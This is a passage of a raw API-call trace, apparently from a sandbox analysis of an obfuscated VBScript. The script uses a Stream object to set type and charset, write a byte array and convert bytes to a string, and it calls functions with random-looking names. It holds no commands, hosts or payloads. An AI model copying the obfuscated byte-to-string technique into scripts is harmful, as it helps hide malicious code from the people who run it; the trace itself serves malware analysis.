Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14b840 | out: ppvObject=0x14b840*=0x0) returned 0x80004002 [0073.170] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b818 | out: ppvObject=0x14b818*=0x83fd480) returned 0x0 [0073.170] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14b814 | out: ppvObject=0x14b814*=0x83fd490) returned 0x0 [0073.170] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14b840 | out: ppvObject=0x14b840*=0x0) returned 0x80004002 [0073.170] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.170] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.170] DOMDocument:IUnknown:Release (This=0x1112908) returned 0x2 [0073.170] Stream:IUnknown:Release (This=0x962b350) returned 0x1 [0073.170] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b8a0 | out: ppvObject=0x14b8a0*=0x962b320) returned 0x0 [0073.170] Stream:IUnknown:AddRef (This=0x962b320) returned 0x3 [0073.170] Stream:IUnknown:Release (This=0x962b320) returned 0x2 [0073.170] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0073.170] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0073.170] DOMDocument:IUnknown:Release (This=0x1112ae8) returned 0x0 [0073.170] ??3@YAXPAX@Z () returned 0x500001 [0073.170] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0073.170] ??3@YAXPAX@Z () returned 0x840001 [0073.170] ??3@YAXPAX@Z () returned 0x4a0001 [0073.170] ??3@YAXPAX@Z () returned 0xffff0001 [0073.170] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.171] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.171] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.171] GetCurrentThreadId () returned 0xd44 [0073.171] IUnknown:Release (This=0x1197760) returned 0x8 [0073.171] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.171] malloc (_Size=0x804) returned 0x8790008 [0073.171] ??2@YAPAXI@Z () returned 0x844b458 [0073.171] ??3@YAXPAX@Z () returned 0x1 [0073.171] malloc (_Size=0x204) returned 0x8790818 [0073.171] ??2@YAPAXI@Z () returned 0x11291c0 [0073.171] free (_Block=0x83d08e0) [0073.171] free (_Block=0x8790008) [0073.171] ??3@YAXPAX@Z () returned 0xffff0001 [0073.171] free (_Block=0x1197880) [0073.171] free (_Block=0x8790818) [0073.171] free (_Block=0x83d9df8) [0073.171] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.171] ??2@YAPAXI@Z () returned 0x83fd610 [0073.171] IUnknown:AddRef (This=0x1197760) returned 0x9 [0073.171] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0073.171] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0073.171] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="Type", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=4) returned 0x0 [0073.172] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0073.172] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0073.172] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14b95c*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14b958*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14b958*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962b320) returned 0x0 [0073.172] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0073.172] ??3@YAXPAX@Z () returned 0x840001 [0073.172] ??3@YAXPAX@Z () returned 0x4a0001 [0073.172] ??3@YAXPAX@Z () returned 0xffff0001 [0073.172] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.172] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="svksovosrgh", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.172] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="svksovosrgh", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.172] GetCurrentThreadId () returned 0xd44 [0073.172] IUnknown:Release (This=0x1197760) returned 0x8 [0073.172] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.172] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.172] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.172] GetCurrentThreadId () returned 0xd44 [0073.173] IUnknown:Release (This=0x1197760) returned 0x8 [0073.173] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.173] malloc (_Size=0x804) returned 0x8790008 [0073.173] ??2@YAPAXI@Z () returned 0x844b458 [0073.173] ??3@YAXPAX@Z () returned 0x1 [0073.173] ??2@YAPAXI@Z () returned 0x11291c0 [0073.173] free (_Block=0x83d08e0) [0073.173] free (_Block=0x8790008) [0073.173] ??3@YAXPAX@Z () returned 0xffff0001 [0073.173] free (_Block=0x1197880) [0073.173] free (_Block=0x8790818) [0073.173] free (_Block=0x83d9df8) [0073.173] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.173] ??2@YAPAXI@Z () returned 0x83fd610 [0073.173] IUnknown:AddRef (This=0x1197760) returned 0x9 [0073.173] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0073.173] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0073.173] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="Open", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=10) returned 0x0 [0073.173] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0073.173] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0073.173] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=10, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14b95c*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962b320) returned 0x0 [0073.174] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0073.174] ??3@YAXPAX@Z () returned 0x840001 [0073.174] ??3@YAXPAX@Z () returned 0x4a0001 [0073.174] ??3@YAXPAX@Z () returned 0xffff0001 [0073.174] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.174] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ivrejk", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.174] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ivrejk", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.174] GetCurrentThreadId () returned 0xd44 [0073.174] IUnknown:Release (This=0x1197760) returned 0x8 [0073.174] malloc (_Size=0x404) returned 0x8444238 [0073.175] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.175] malloc (_Size=0x804) returned 0x8790008 [0073.175] ??2@YAPAXI@Z () returned 0x844b458 [0073.175] ??3@YAXPAX@Z () returned 0x1 [0073.175] malloc (_Size=0x204) returned 0x8790818 [0073.175] ??2@YAPAXI@Z () returned 0x11291c0 [0073.175] free (_Block=0x83d08e0) [0073.175] free (_Block=0x8790008) [0073.175] ??3@YAXPAX@Z () returned 0xffff0001 [0073.175] free (_Block=0x1197880) [0073.175] free (_Block=0x8790818) [0073.175] free (_Block=0x83d9df8) [0073.175] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.175] ??2@YAPAXI@Z () returned 0x83fd610 [0073.175] IUnknown:AddRef (This=0x1197760) returned 0x9 [0073.175] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0073.175] _wcsicmp (_String1="byteArray", _String2="BytesToStr") returned -18 [0073.175] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0073.175] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="write", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=13) returned 0x0 [0073.175] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0073.175] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0073.176] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=13, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14b95c*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6ae4ba8*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b92af0*, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), varVal2=0x83d6758)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6ae4ba8*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b92af0*, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), varVal2=0x83d6758)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962b320) returned 0x0 [0073.176] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0073.176] ??3@YAXPAX@Z () returned 0x840001 [0073.176] ??3@YAXPAX@Z () returned 0x4a0001 [0073.176] ??3@YAXPAX@Z () returned 0xffff0001 [0073.176] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.176] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.176] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.176] GetCurrentThreadId () returned 0xd44 [0073.176] IUnknown:Release (This=0x1197760) returned 0x8 [0073.176] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.176] malloc (_Size=0x804) returned 0x8790008 [0073.176] ??2@YAPAXI@Z () returned 0x844b458 [0073.176] ??3@YAXPAX@Z () returned 0x1 [0073.176] malloc (_Size=0x204) returned 0x8790818 [0073.176] ??2@YAPAXI@Z () returned 0x11291c0 [0073.176] free (_Block=0x83d08e0) [0073.177] free (_Block=0x8790008) [0073.177] ??3@YAXPAX@Z () returned 0xffff0001 [0073.177] free (_Block=0x1197880) [0073.177] free (_Block=0x8790818) [0073.177] free (_Block=0x83d9f10) [0073.177] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.177] ??2@YAPAXI@Z () returned 0x83fd610 [0073.177] IUnknown:AddRef (This=0x1197760) returned 0x9 [0073.177] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0073.177] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0073.177] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="Position", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=3) returned 0x0 [0073.177] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0073.177] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0073.177] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=3, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14b95c*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x87e0000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14b958*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x87e0000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14b958*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962b320) returned 0x0 [0073.177] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0073.177] ??3@YAXPAX@Z () returned 0x840001 [0073.177] ??3@YAXPAX@Z () returned 0x4a0001 [0073.177] ??3@YAXPAX@Z () returned 0xffff0001 [0073.177] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc74 | out: ppvObject=0x14bc74*=0x0) returned 0x80004002 [0073.177] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14bc78*="Type", cNames=0x1, lcid=0x409, rgDispId=0x14bc90 | out: rgDispId=0x14bc90*=4) returned 0x0 [0073.178] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0073.178] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc7c | out: ppvObject=0x14bc7c*=0x0) returned 0x80004002 [0073.178] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14bc48*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x87e491c)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24, puArgErr=0x14bc68 | out: pDispParams=0x14bc48*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x87e491c)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14bc68*=0x962b320) returned 0x0 [0073.178] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0073.178] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc74 | out: ppvObject=0x14bc74*=0x0) returned 0x80004002 [0073.178] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14bc78*="CharSet", cNames=0x1, lcid=0x409, rgDispId=0x14bc90 | out: rgDispId=0x14bc90*=8) returned 0x0 [0073.178] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0073.178] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc7c | out: ppvObject=0x14bc7c*=0x0) returned 0x80004002 [0073.178] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=8, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14bc48*(rgvarg=([0]=0x14bb84*(varType=0x8, wReserved1=0x14, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x1198dc0)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24, puArgErr=0x14bc68 | out: pDispParams=0x14bc48*(rgvarg=([0]=0x14bb84*(varType=0x8, wReserved1=0x14, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x1198dc0)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14bc68*=0x962b320) returned 0x0 [0073.178] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0073.178] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.178] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.178] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.178] GetCurrentThreadId () returned 0xd44 [0073.178] IUnknown:Release (This=0x1197760) returned 0x8 [0073.179] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.179] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.179] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.179] GetCurrentThreadId () returned 0xd44 [0073.179] IUnknown:Release (This=0x1197760) returned 0x8 [0073.179] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.179] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.179] VBScriptEngine5:IDispatchEx:GetDispId (in: 